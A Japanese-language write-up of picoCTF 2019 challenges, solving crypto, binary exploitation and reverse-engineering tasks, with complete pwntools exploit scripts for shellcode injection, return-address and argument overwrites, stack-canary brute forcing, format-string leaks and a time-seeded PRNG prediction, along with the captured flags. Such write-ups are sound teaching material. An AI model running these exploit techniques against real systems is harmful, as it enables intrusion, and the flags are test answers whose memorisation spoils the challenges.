$ openssl x509 -text -in cert -noout Certificate: Data: Version: 1 (0x0) Serial Number: 12345 (0x3039) Signature Algorithm: md2WithRSAEncryption Issuer: CN = PicoCTF Validity Not Before: Jul 8 07:21:18 2019 GMT Not After : Jun 26 17:34:38 2019 GMT Subject: OU = PicoCTF, O = PicoCTF, L = PicoCTF, ST = PicoCTF, C = US, CN = PicoCTF Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001) Signature Algorithm: md2WithRSAEncryption 07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb: 9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a: c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc: b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c: a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9: a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2: 6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35: a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35: 35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8: d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc: 8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e: de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63: cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e: 43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1: 25:9a:fd:5f
今回のフラグの形式は、picoCTF{p,q}
という形式だと、Hintsに書かれていました。
4966306421059967 を素因数分解すれば、pとqを求めることができます。
factordbで検索すると、素因数分解できました。
4966306421059967<16> = 67867967 · 73176001
picoCTF{73176001,67867967}
Binary Exploitation
handy-shellcode - Points: 50
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 on the shell server. Source.
単純にShellcodeを入れるだけの問題です。 今回は、socatでサーバを立てて解きました。
$ curl checkip.amazonaws.com 3.15.247.173 $ cd /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 $ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln
from pwn import * def exploit(p): shellcode = asm(shellcraft.sh()) p.sendlineafter("Enter your shellcode:", shellcode) def main(): context(arch="i386", os="linux") if args["REMOTE"]: p = remote("3.15.247.173", 8000) else: p = process("./vuln") exploit(p) p.interactive() if __name__ == "__main__": main()
実行するとシェルが取れ、フラグの確認ができました。
$ python exploit.py REMOTE [+] Opening connection to 3.15.247.173 on port 8000: Done [*] Switching to interactive mode jhh///sh/binj\x0bX\x89�1�\x99̀ Thanks! Executing now... $ id uid=9780(tsalvia) gid=8869(handy-shellcode_0) groups=8869(handy-shellcode_0),1002(competitors),9781(tsalvia) $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}$
picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}
practice-run-1 - Points: 50
You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.
picoCTFでは、各ユーザにWebShellが用意されています。 ログインして、run_thisを実行するとフラグが表示されました。
$ cd /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e $ ls run_this $ ./run_this picoCTF{g3t_r3adY_2_r3v3r53}
picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0 - Points: 100
This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 on the shell server. Source.
SIGSEGVを起こせば、フラグが表示されるようです。 300文字ぐらい文字列をコマンドライン引数に指定し、バッファオーバーフローさせるとフラグが表示されました。
$ cd /problems/overflow-0_3_dc6e55b8358f1c82f03ddd018a5549e0 $ ls flag.txt vuln vuln.c $ ./vuln "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
picoCTF{3asY_P3a5y1fcf81f9}
OverFlow 1 - Points: 150
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de on the shell server. Source.
socatでサーバを立てて解きました。
$ curl checkip.amazonaws.com 3.15.247.173 $ cd /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de $ socat TCP-LISTEN:8001,reuseaddr,fork EXEC:./vuln
gdb-pedaのpattcとpattoの機能を使って、リターンアドレスの位置を確認します。
$ gdb -q -ex "pattc 100" -ex "q" | sed -e "s/'//g" AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL $ ./vuln Give me a string and lets see what happens: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Woah, were jumping to 0x41344141 ! Segmentation fault (core dumped) $ gdb -q -ex "patto 0x41344141" -ex "q" 1093943617 found at offset: 76
リターンアドレスがバッファの先頭から76バイト目にあることが分かりました。 リターンアドレスをflag関数に飛ばすように入力値を調整すれば、フラグを取得できます。
以上の情報を基にスクリプトを書きました。
from pwn import * def exploit(p, binf): flag_symbols = binf.symbols[b'flag'] log.info("flag symbols: {}".format(hex(flag_symbols))) offset = 76 payload = b"A" * offset payload += pack(flag_symbols) p.sendlineafter("Give me a string and lets see what happens:", payload) def main(): context(arch="i386", os="linux") if args["REMOTE"]: p = remote("3.15.247.173", 8001) else: p = process("./vuln") binf = ELF("./vuln") exploit(p, binf) p.interactive() if __name__ == "__main__": main()
上記のスクリプトを実行すると、フラグを取得することができました。
$ python exploit.py REMOTE [+] Opening connection to 3.15.247.173 on port 8001: Done [*] '/root/workdir/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE [*] flag symbols: 0x80485e6 [*] Switching to interactive mode Woah, were jumping to 0x80485e6 ! picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}
slippery-shellcode - Points: 200
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_6_7cf1605ec6dfefad68200ceb12dd67a1 on the shell server. Source.
socatでサーバを立てて解きました。
$ curl checkip.amazonaws.com 3.15.247.173 $ cd /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 $ socat TCP-LISTEN:8000,reuseaddr,fork EXEC:./vuln
ソースコードを見てみると、前回のhandy-shellcodeのときと違い、randで取得した値を使って実行させるバッファのアドレスを少しずらす処理が入っていました。 ただ、srandがないため初期seed値は、固定となります。まず、offsetがどれぐらいなのかを調べるため、少しだけソースコードに手を加えました。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 512 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf); puts("Thanks! Executing from a random location now..."); int offset = (rand() % 256) + 1; printf("%d\n", offset); // ((void (*)())(buf+offset))(); puts("Finishing Executing Shellcode. Exiting now..."); return 0; }
コンパイルして実行すると、offsetが表示されます。 また、何度実行しても同じ値であることも確認できました。
$ gcc ./vuln.c # ./a.out Enter your shellcode: a a Thanks! Executing from a random location now... 104 Finishing Executing Shellcode. Exiting now... root@f4abf7d5116e:~/workdir# ./a.out Enter your shellcode: a a Thanks! Executing from a random location now... 104 Finishing Executing Shellcode. Exiting now...
あとは、適当にoffset分文字列を書き込んで、そのあとシェルコードを実行できるようにするだけです。 以下がそのスクリプトとなります。
from pwn import * def exploit(p): shellcode = asm(shellcraft.sh()) offset = 104 payload = b"A" * offset payload += shellcode p.sendlineafter("Enter your shellcode:", payload) def main(): context(arch="i386", os="linux") if args["REMOTE"]: p = remote("3.15.247.173", 8002) else: p = process("./vuln") exploit(p) p.interactive() if __name__ == "__main__": main()
実行すると、シェルを取ることができました。
$ python exploit.py REMOTE [+] Opening connection to 3.15.247.173 on port 8002: Done [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjhh///sh/binj \x0bX\x89�1�\x99̀ Thanks! Executing from a random location now... $ id uid=9780(tsalvia) gid=8861(slippery-shellcode_6) groups=8861(slippery-shellcode_6),1002(competitors),9781(tsalvia) $ ls flag.txt vuln vuln.c $ cat flag.txt picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}
picoCTF{sl1pp3ry_sh311c0d3_5a0fefb6}
OverFlow 2 - Points: 250
Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_1_210f23786438d7f7e527f4901367a74b on the shell server. Source.
socatでサーバを立てて解きました。
$ curl checkip.amazonaws.com 3.15.247.173 $ cd /problems/handy-shellcode_0_24753fd2c78ac1a60682f0c924b23405 $ socat TCP-LISTEN:8003,reuseaddr,fork EXEC:./vuln
今度は、バッファオーバーフローで呼び出す関数に引数があるという問題です。 正しい引数を指定して関数を呼び出す必要があります。
以下のようなスクリプトを作成しました。
from pwn import * def exploit(p, binf): flag_symbols = binf.symbols[b'flag'] log.info("flag symbols: {}".format(hex(flag_symbols))) offset = 188 payload = b"A" * offset payload += pack(flag_symbols) payload += pack(0x00000000) # dummy payload += pack(0xDEADBEEF) # arg1 payload += pack(0xC0DED00D) # arg2 log.info("payload: {}".format(payload)) p.sendlineafter("Please enter your string:", payload) def main(): context(arch="i386", os="linux") if args["REMOTE"]: p = remote("3.15.247.173", 8003) else: p = process("./vuln") binf = ELF("./vuln") exploit(p, binf) p.interactive() if __name__ == "__main__": main()
実行すると、フラグが出力されました。
$ python exploit.py REMOTE [+] Opening connection to 3.15.247.173 on port 8003: Done [*] '/root/workdir/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] flag symbols: 0x80485e6 [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x85\x04\x08\ x00\x00\x00\x00\xef\xbe\xad\xde\r\xd0\xde\xc0' [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA picoCTF{arg5_and_r3turn5001d1db0}
picoCTF{arg5_and_r3turn5001d1db0}
CanaRy - Points: 300
This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd. Source.
canary.txt
というファイルを読み出して、カナリア値の代わりに挿入されるようです。
ファイルから読み出しており、カナリア値は常に一定となるので、1バイトずつ総当たりでカナリア値を求めれば良さそうです。
また、カナリア値を求めた後、バッファオーバーフローさせて、display_flag
を呼び出す必要があります。
picoCTFのサーバは、ASLRが有効となっているため、そのままリターンアドレスを書き換えてもほとんどの確率で動作しません。
ただ、ASLRが有効の場合でも、下位2バイトは固定となるので、何度も実行して上位2バイトにヒットするまで、繰り返すことで解決しました。
以下のようなスクリプトを作成しました。
from pwn import * from getpass import * ARCH = "i386" FILE = "./vuln" HOST = "3.15.247.173" if args["REMOTE"]: USER = getpass("Please input ssh user: ") PASS = getpass("Please input ssh password: ") SSH = ssh(host=HOST, user=USER, password=PASS) SSH.set_working_directory("/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd") def run_process(): if args["REMOTE"]: return SSH.process([FILE]) else: return process([FILE]) def leak_canary(): buf_size = 32 canary = b'' for i in range(4): for c in range(0xff): payload = b'A' * buf_size + canary + bytes([c]) log.info("leak_canary_payload: {}".format(payload)) con = run_process() con.sendlineafter("Please enter the length of the entry:\n> ", str(buf_size + i + 1)) con.sendlineafter("Input> ", payload) res = con.recvall() if b"Canary Value Corrupt!" not in res: canary += bytes([c]) break return canary def exploit(canary): elf = ELF(FILE) while True: con = run_process() display_flag = elf.symbols[b"display_flag"] log.info("display_flag: {}".format(hex(display_flag))) buf_size = 32 padding = b"B" * 16 payload = b"A" * buf_size + canary + padding + display_flag.to_bytes(2, "little") log.info("payload: {}".format(payload)) con.sendlineafter("Please enter the length of the entry:\n> ", str(len(payload))) con.sendlineafter("Input> ", payload) con.readuntil("\n") res = con.recvall() if b"pico" in res: return res.decode("utf-8") def main(): context(arch=ARCH, os="linux") prog = log.progress("leak_canary()") context.log_level = "error" canary = leak_canary() context.log_level = "info" prog.success("canary: {}".format(canary)) prog = log.progress("exploit()") context.log_level = "error" flag = exploit(canary) context.log_level = "info" prog.success("flag: {}".format(flag)) if __name__ == "__main__": main()
ローカルで実行する場合は、ASLRを有効にしておく必要があります。
$ echo 2 > /proc/sys/kernel/randomize_va_space $ echo -n "abcd" > /problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/canary.txt $ echo -n "picoCTF{TEST_TEST}" > flag.txt $ python exploit.py [+] leak_canary(): canary: b'abcd' [+] exploit(): flag: picoCTF{TEST_TEST}
リモートに接続して実行すると、フラグが取得できます。
$ python exploit.py REMOTE Please input ssh user: Please input ssh password: [+] Connecting to 3.15.247.173 on port 22: Done [*] Working directory: '/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd' [+] leak_canary(): canary: b'7a6H' [+] exploit(): flag: picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}
stringzz - Points: 300
Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 on the shell server. Source.
フラグをバッファに入れている処理があり、そのあとにフォーマットストリングバグがあるのが確認できました。 スタックをリークすれば、フラグが出力されるはずです。 総当たりで、スタックを辿るスクリプトを書きました。
#!/bin/bash for ((i = 1; i < 100; i++)) do echo -e "$i.%$i\$s" | ./vuln | grep "picoCTF" done
実行すると、フラグが出力されます。
$ cd /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 $ vi /tmp/solve.sh $ chmod +x /tmp/solve.sh $ /tmp/solve.sh 37.picoCTF{str1nG_CH3353_0814bc7c}
picoCTF{str1nG_CH3353_0814bc7c}
seed-sPRiNG - Points: 350
The most revolutionary game is finally available: seed sPRiNG is open right now! seed_spring. Connect to it with nc 2019shell1.picoctf.com 47241.
seed_spring をGhidraで開くと、以下のようになっていました。
seed値を現在の時刻にしているようです。 コマンドライン引数にエポックタイムを指定すると、30個分の乱数を表示するようなプログラムを作成しました。
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int i, num; unsigned int seed; seed = atoi(argv[1]); srand(seed); printf("seed: %d\n", seed); for (i = 0; i < 30; i++) { num = rand(); printf("%2d:\t%2d\n", i + 1, num & 0xf); } return 0; }
何度かサーバに接続し、初めに適当な値(1)を入力して、次に進むタイミングを探します。
$ date +%s & nc 2019shell1.picoctf.com 47241 [1] 1517 1569951372 省略 Welcome! The game is easy: you jump on a sPRiNG. How high will you fly? LEVEL (1/30) Guess the height: 1 LEVEL (2/30) Guess the height:
1秒ずつ時刻をずらしながら、初めに1が出てくるタイミングを探します。 私の環境では、5秒ほどずれていました。
$ gcc crack_seed.c $ ./a.out 1569951367 seed: 1569951367 1: 1 2: 1 省略
30個分の乱数を入力していくと、フラグが出力されました。
picoCTF{pseudo_random_number_generator_not_so_random_1e980471db65a9f446af481d75490127}
Reverse Engineering
vault-door-training - Points: 50
Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java
VaultDoorTraining.java を開くと、フラグが書いてありました。
import java.util.*; class VaultDoorTraining { public static void main(String args[]) { VaultDoorTraining vaultDoor = new VaultDoorTraining(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // The password is below. Is it safe to put the password in the source code? // What if somebody stole our source code? Then they would know what our // password is. Hmm... I will think of some ways to improve the security // on the other doors. // // -Minion #9567 public boolean checkPassword(String password) { return password.equals("w4rm1ng_Up_w1tH_jAv4_87f51143e4b"); } }
picoCTF{w4rm1ng_Up_w1tH_jAv4_87f51143e4b}
vault-door-1 - Points: 100
This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java
VaultDoor1.java を見てみると、入力した値をバラバラに比較しているような処理が確認できました。
public boolean checkPassword(String password) { return password.length() == 32 && password.charAt(0) == 'd' && password.charAt(29) == 'f' && password.charAt(4) == 'r' && password.charAt(2) == '5' && password.charAt(23) == 'r' && password.charAt(3) == 'c' && password.charAt(17) == '4' && password.charAt(1) == '3' && password.charAt(7) == 'b' && password.charAt(10) == '_' && password.charAt(5) == '4' && password.charAt(9) == '3' && password.charAt(11) == 't' && password.charAt(15) == 'c' && password.charAt(8) == 'l' && password.charAt(12) == 'H' && password.charAt(20) == 'c' && password.charAt(14) == '_' && password.charAt(6) == 'm' && password.charAt(24) == '5' && password.charAt(18) == 'r' && password.charAt(13) == '3' && password.charAt(19) == '4' && password.charAt(21) == 'T' && password.charAt(16) == 'H' && password.charAt(27) == '3' && password.charAt(30) == '3' && password.charAt(25) == '_' && password.charAt(22) == '3' && password.charAt(28) == 'e' && password.charAt(26) == '6' && password.charAt(31) == 'a'; }
並び替えると、フラグになります。
$ grep charAt VaultDoor1.java | cut -d"(" -f 2 | sort -n | cut -d"'" -f 2 | sed -z "s/\n//g" d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a
picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a}
asm1 - Points: 200
What does asm1(0x4f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_6_74dd61bdf487805bf057c71be7941289.
書いてある通りに分岐を辿っていくだけの問題
- (0x4f3 > 0x45d) なので、asm1+37 に移動する。
- (0x4f3 != 0x7cd) なので、asm1+54 に移動する。
- 0x4f3 + 0x17 を計算する。
asm1: <+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x45d <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x430 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0x17 <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0x17 <+35>: jmp 0x529 <asm1+60> <+37>: cmp DWORD PTR [ebp+0x8],0x7cd <+44>: jne 0x523 <asm1+54> <+46>: mov eax,DWORD PTR [ebp+0x8] <+49>: sub eax,0x17 <+52>: jmp 0x529 <asm1+60> <+54>: mov eax,DWORD PTR [ebp+0x8] <+57>: add eax,0x17 <+60>: pop ebp <+61>: ret
picoCTF{0x50a}
vault-door-3 - Points: 200
This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java
vault-door-1 の checkPasswordの処理が少し変わっていますが、単純に並び替えてから比較しているだけです。 並び替え後の文字列を表示するを表示するように変更しました。 picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41} と入力し、表示された文字列がフラグとなります。
public boolean checkPassword(String password) { if (password.length() != 32) { return false; } char[] buffer = new char[32]; int i; for (i=0; i<8; i++) { buffer[i] = password.charAt(i); } for (; i<16; i++) { buffer[i] = password.charAt(23-i); } for (; i<32; i+=2) { buffer[i] = password.charAt(46-i); } for (i=31; i>=17; i-=2) { buffer[i] = password.charAt(i); } String s = new String(buffer); System.out.printf("picoCTF{%s}\n", s); // 追加 return s.equals("jU5t_a_sna_3lpm13gc49_u_4_m0rf41"); }
実行結果は、以下の通りとなります。
$ javac VaultDoor3.java $ java VaultDoor3 Enter vault password: picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41} picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31} Access denied!
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31}
asm2 - Points: 250
What does asm2(0xe,0x22) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_4_548389d70e48a3ca5473a24096f2186a.
アセンブリを読んで、同じことをさせるスクリプトを書きました。
arg1 = 0xe arg2 = 0x22 while arg1 <= 0x9087: arg2 += 0x1 arg1 += 0xd1 print(hex(arg2))
実行すると、フラグが取得できます。
$ python solve.py 0xd3
picoCTF{0xd3}
vault-door-4 - Points: 250
This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java
フラグをバイト配列に変換しているようなので、バイト配列をStringに変換して表示するだけでフラグを取得することができます。 バイト配列をStringに変換する処理を追記しました。
public boolean checkPassword(String password) { byte[] passBytes = password.getBytes(); byte[] myBytes = { 106 , 85 , 53 , 116 , 95 , 52 , 95 , 98 , 0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f, 0142, 0131, 0164, 063 , 0163, 0137, 070 , 060 , 'f' , '8' , 'e' , '1' , 'e' , '0' , '4' , '7' , }; System.out.printf("picoCTF{%s}\n", new String(myBytes)); // 追加 for (int i=0; i<32; i++) { if (passBytes[i] != myBytes[i]) { return false; } } return true; } }
実行すると、フラグが表示されます。
$ java VaultDoor4 Enter vault password: picoCTF{aaa} picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047} Access denied!
picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}
asm3 - Points: 300
What does asm3(0xdff83990,0xeeff29ae,0xfa706498) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_3_8aa3e17880273360f781adadc67a15f0.
与えられたファイルをGAS用に調整して解きました。
以下のようにプログラムを調整しました。
.intel_syntax noprefix .global asm3 asm3: push ebp mov ebp,esp xor eax,eax mov ah,BYTE PTR [ebp+0xb] shl ax,0x10 sub al,BYTE PTR [ebp+0xd] add ah,BYTE PTR [ebp+0xe] xor ax,WORD PTR [ebp+0x12] nop pop ebp ret
こちらは、フラグ表示用のプログラムです。
#include <stdio.h> int main(void) { printf("picoCTF{0x%x}\n", asm3(0xdff83990, 0xeeff29ae, 0xfa706498)); return 0; }
コンパイルして実行すると、フラグが出力されます。
$ gcc -m32 -c test.S -o test.o $ gcc -m32 -c solve.c -o solve.o -w $ gcc -m32 solve.o test.o $ ./a.out picoCTF{0x5a7}
picoCTF{0x5a7}
droids0 - Points: 300
Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.
APKをAndroidエミュレータにインストールして、ボタンを押すとLogcatにフラグが表示されます。
2019-10-05 00:36:17.510 5801-5801/com.hellocmu.picoctf I/PICO: picoCTF{a.moose.once.bit.my.sister}
picoCTF{a.moose.once.bit.my.sister}
reverse_cipher - Points: 300
We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server.
Ghidraでrevのmain関数を見てみると、flag.txtの文字列に変換をかけている処理が見えました。
上記の処理と逆変換を行うようなスクリプトを書きました。
def main(): with open("rev_this", "r") as f: rev_this = f.read() flag = "" for i, ch in enumerate(rev_this): if i < 8 or i == 23: flag += ch elif (i & 1) == 0: flag += chr(ord(ch) - 5) else: flag += chr(ord(ch) + 2) print(flag) if __name__ == "__main__": main()
実行すると、フラグが確認できます。
$ python solve.py picoCTF{r3v3rs39ba4806b}
picoCTF{r3v3rs39ba4806b}
vault-door-5 - Points: 300
In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java
checkPasswordの処理を見てみると、入力値をURLエンコードし、Base64エンコードした文字列を expectedと比較している。 よって、expextedの文字列をBase64デコードし、URLデコードすればフラグとなります。
public boolean checkPassword(String password) { String urlEncoded = urlEncode(password.getBytes()); String base64Encoded = base64Encode(urlEncoded.getBytes()); String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm" + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2" + "JTM0JTVmJTMxJTMxJTM3JTM3JTY2JTM3JTM4JTMz"; return base64Encoded.equals(expected); }
以下のコマンドで変換すると、フラグが表示されました。
$ cat VaultDoor5.java | grep -A 2 "String expected" | cut -d'"' -f 2 | base64 -d | nkf --url-input | sed -e "s/^/picoCTF{/" | sed -e "s/$/\}\n/" picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}
droids2 - Points: 400
Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.
apktools でone.apkを展開してみます。
PS> apktool d one.apk
以下のsmaliファイルを見てみると、passwordの比較処理が確認できます。
one\smali\com\hellocmu\picoctf\FlagstaffHill.smali
.line 12 .local v0, "password":Ljava/lang/String; invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v1 if-eqz v1, :cond_0 invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->fenugreek(Ljava/lang/String;)Ljava/lang/String; move-result-object v1
passwordの文字列をstrings.xmlで確認すると、「opossum」と書かれていました。
one\res\values\strings.xml
<string name="password">opossum</string>
APKをAndroidエミュレータにインストールして、パスワード「opossum」と入力し、ボタンを押すとフラグが表示されます。
picoCTF{pining.for.the.fjords}
vault-door-6 - Points: 350
This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java
入力したパスワードは、0x55でxorを取った後、比較をしているようです。 比較しているmyBytesをもう一度0x55でxorすると、フラグとなります。
public boolean checkPassword(String password) { // if (password.length() != 32) { // return false; // } byte[] passBytes = password.getBytes(); byte[] myBytes = { 0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d, 0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa , 0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27, 0xa , 0x60, 0x62, 0x36, 0x67, 0x6d, 0x6c, 0x67, }; System.out.print("picoCTF{"); for (int i=0; i<32; i++) { System.out.printf("%c", myBytes[i] ^ 0x55); } System.out.println("}"); for (int i=0; i<32; i++) { if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) { return false; } } return true; }
実行すると、フラグが出力されます。
$ javac VaultDoor6.java $ java VaultDoor6 Enter vault password: picoCTF{aaa} picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892} Access denied!
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892}
B1ll_Gat35 - Points: 400
Can you reverse this Windows Binary?
x32dbgで実行し、「Incorrect key. Try again.」と表示されるタイミングで、EIPを「Correct input.」と表示されるアドレスに書き換えました。 しばらく、ステップ実行していると、フラグが出てきました。
PICOCTF{These are the access codes to the vault: 1063340}
Need For Speed - Points: 400
The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.
Ghidraで開くと、set_timer関数でalarmの設定がされていました。 ここを呼び出さないようにgdbでjumpさせると、フラグが表示されました。
